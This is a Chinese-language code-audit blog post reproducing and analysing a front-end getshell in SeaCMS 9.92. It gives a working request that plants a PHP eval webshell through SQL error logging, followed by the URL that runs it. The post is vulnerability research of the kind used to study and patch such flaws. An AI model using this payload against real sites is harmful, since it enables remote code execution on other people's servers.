0x01 前言

好久没发代码审计的文章了,最近挺多事情的,无意中看到90Sec上面有一篇seacms前台的getshell,突然就很感兴趣,之前审计这套程序的时候也审计了一下,后面太多事情就搁置了。

0x02 漏洞复现

环境是phpstudy(最近出后门新闻最火的那个),用着也挺方便的。PHP版本是5.x的。 payload:

http://127.0.0.1/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_]);?%3E

然后访问:

http://127.0.0.1/data/mysqli_error_trace.php?_=phpinfo();

0x03 漏洞分析

关于这个SQL注入报错的地方,在之前的8.7的一篇文章里面分析过了https://getpass.cn/2019/03/04/Seacms8.7-sql-injection-analysis/

主要的地方还是在于include/sql.class.php这个文件的465-489行

它会将sql报错的信息写入了一个PHP的文件里,那我们可以就可以让sql语句报错然后将恶意语句写这个文件利用了。

0x04 结束

其实这个漏洞还挺简单的,但是在其他的版本代码是不一样的,我测试了9.2的还有之前写SQL注入的8.7版本都是不能利用的。主要代码如下:

这里是说如果我们要删除第476行的两个反斜杠,然后才可以显示报错的内容。我想是在很久之前的版本是直接写入PHP文件的,但是后面作为更新了,就加上这段代码,然后将之前的PHP存在的就删除掉。 但是这个说是9.92版本出现的就很奇怪了。em…

文章测试的9.92版本程序下载地址:https://www.lanzous.com/i6eupwh